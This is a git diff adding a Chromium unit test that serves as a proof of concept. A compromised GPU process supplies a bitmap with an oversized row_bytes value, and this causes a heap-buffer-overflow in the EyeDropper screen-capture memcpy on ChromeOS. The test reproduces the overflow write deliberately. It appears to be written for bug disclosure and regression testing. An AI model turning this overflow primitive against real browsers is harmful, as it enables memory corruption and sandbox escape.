diff --git a/services/viz/public/cpp/compositing/mojom_traits_unittest.cc b/services/viz/public/cpp/compositing/mojom_traits_unittest.cc index 65677786331cc..b152904602f76 100644 --- a/services/viz/public/cpp/compositing/mojom_traits_unittest.cc +++ b/services/viz/public/cpp/compositing/mojom_traits_unittest.cc @@ -45,6 +45,7 @@ #include "mojo/public/cpp/bindings/remote.h" #include "mojo/public/cpp/test_support/test_utils.h" #include "services/viz/public/cpp/compositing/begin_frame_args_mojom_traits.h" +#include "services/viz/public/cpp/compositing/bitmap_in_shared_memory_mojom_traits.h" #include "services/viz/public/cpp/compositing/compositor_frame_metadata_mojom_traits.h" #include "services/viz/public/cpp/compositing/compositor_frame_mojom_traits.h" #include "services/viz/public/cpp/compositing/compositor_render_pass_mojom_traits.h" @@ -1553,6 +1554,109 @@ TEST_F(StructTraitsTest, CopyOutputResult_Bitmap) { EXPECT_EQ(output->GetTrackedElementRects(), tracked_element_rects); } +// POC: GPU-controlled row_bytes flows through CopyOutputResult deserialization +// into the EyeDropper memcpy(H*stride) over a W*H*4 allocation. +// +// On ChromeOS, EyeDropperView::ScreenCapturer uses DesktopCapturerAsh which +// issues a viz::CopyOutputRequest{RGBA,kSystemMemory} on the root window's +// layer. The request is serialized to the GPU process; the +// pending_remote arrives there while its receiver +// (CopyOutputResultSenderImpl) lives in the browser. A compromised GPU process +// can call SendResult() with a BitmapInSharedMemory whose row_bytes is +// arbitrarily large: StructTraits::Read +// only checks SkImageInfo::validRowBytes() (lower bound + alignment) and that +// the shmem region is at least computeByteSize(row_bytes). The resulting +// SkBitmap (rowBytes preserved) flows through CopyOutputSkBitmapResult -> +// SnapshotAsync -> gfx::Image -> DesktopFrameSkia(stride=rowBytes) -> +// EyeDropperView::ScreenCapturer::OnCaptureResult, which does: +// frame_.allocN32Pixels(W, H, true); // dest = W*H*4 +// memcpy(frame_.getAddr32(0,0), frame->data(), H*stride); // copy = H*S +// +// This test mirrors the browser-side handling exactly: it constructs the +// SkBitmap precisely as the deserializer does (installPixels on shmem with +// attacker-chosen row_bytes), wraps it in CopyOutputSkBitmapResult, retrieves +// it via the same ScopedAccessSkBitmap()/GetOutScopedBitmap() path that +// SnapshotAsync uses, and then performs the EyeDropper sink memcpy. Under ASAN +// this produces heap-buffer-overflow on the W*H*4 destination. +TEST_F(StructTraitsTest, CopyOutputResult_BitmapMaliciousRowBytesEyeDropper) { + // Attacker-chosen parameters (sent by a compromised GPU process): + constexpr int kW = 4; + constexpr int kH = 2; + constexpr size_t kRowBytes = 0x1000; // >> kW*4 == 16 + // Shared memory must satisfy mapping.size() >= computeByteSize(row_bytes) + // == (H-1)*S + W*4 == 0x1010, and we want H*S bytes readable for the memcpy. + constexpr size_t kShmemSize = kH * kRowBytes; // 0x2000 + + // === Mirror StructTraits::Read === + SkImageInfo image_info = + SkImageInfo::MakeN32Premul(kW, kH, SkColorSpace::MakeSRGB()); + // The only row_bytes validation in the deserializer: + ASSERT_TRUE(image_info.validRowBytes(kRowBytes)); + + base::WritableSharedMemoryRegion region = + base::WritableSharedMemoryRegion::Create(kShmemSize); + ASSERT_TRUE(region.IsValid()); + auto mapping_ptr = + std::make_unique(region.Map()); + ASSERT_TRUE(mapping_ptr->IsValid()); + ASSERT_GE(mapping_ptr->size(), image_info.computeByteSize(kRowBytes)); + // Fill the GPU-controlled payload. + UNSAFE_TODO(memset(mapping_ptr->memory(), 0x41, kShmemSize)); + + SkBitmap deserialized; + void* bitmap_memory = mapping_ptr->memory(); + ASSERT_TRUE(deserialized.installPixels( + image_info, bitmap_memory, kRowBytes, + [](void*, void* ctx) { + delete static_cast(ctx); + }, + mapping_ptr.release())); + ASSERT_EQ(deserialized.rowBytes(), kRowBytes); + // === End of mirrored deserializer === + + // === Mirror copy_output_result_mojom_traits.cc:306-307 === + const gfx::Rect rect(0, 0, kW, kH); + std::unique_ptr result = + std::make_unique(rect, std::move(deserialized)); + + // === Mirror SnapshotAsync::RunCallbackWithCopyOutputResult === + // (ui/snapshot/snapshot_async.cc:61-62). This exercises the production + // CopyOutputSkBitmapResult::AsSkBitmap() path which compares only + // SkImageInfo (rowBytes is *not* part of SkImageInfo), so the shmem-backed + // bitmap is returned unchanged with rowBytes == kRowBytes; and + // GetOutScopedBitmap() returns it directly because needs_lock_for_bitmap_ + // is false for results constructed via the mojom Read path. + auto scoped_bitmap = result->ScopedAccessSkBitmap(); + SkBitmap bitmap = scoped_bitmap.GetOutScopedBitmap(); + ASSERT_TRUE(bitmap.readyToDraw()); + ASSERT_EQ(bitmap.width(), kW); + ASSERT_EQ(bitmap.height(), kH); + // *** The bug: rowBytes survived unchanged through CopyOutputResult. *** + ASSERT_EQ(bitmap.rowBytes(), kRowBytes); + + // === Mirror DesktopFrameSkia + EyeDropperView::ScreenCapturer sink === + // content/browser/media/capture/desktop_frame_skia.cc:9-14 (ChromeOS-only) + // passes bitmap.rowBytes() as the DesktopFrame stride and bitmap.getPixels() + // as the data pointer. components/eye_dropper/eye_dropper_view.cc:159-162 + // then does: + // frame_.allocN32Pixels(W, H, true); + // memcpy(frame_.getAddr32(0,0), frame->data(), H * frame->stride()); + // We replicate that here verbatim using the values DesktopFrameSkia would + // expose (those translation units are only compiled on is_chromeos). + const int frame_width = bitmap.width(); + const int frame_height = bitmap.height(); + const int frame_stride = static_cast(bitmap.rowBytes()); + uint8_t* const frame_data = static_cast(bitmap.getPixels()); + + SkBitmap frame_; + frame_.allocN32Pixels(frame_width, frame_height, /*isOpaque=*/true); + // Destination is W*H*4 == 32 bytes; copy length is H*S == 8192 bytes. + // ASAN: heap-buffer-overflow WRITE past a 32-byte region. + UNSAFE_TODO(memcpy(frame_.getAddr32(0, 0), frame_data, + static_cast(frame_height) * frame_stride)); + frame_.setImmutable(); +} + TEST_F(StructTraitsTest, TrackedElementRects) { TrackedElementRects input; const auto token1 = base::Token(1, 1);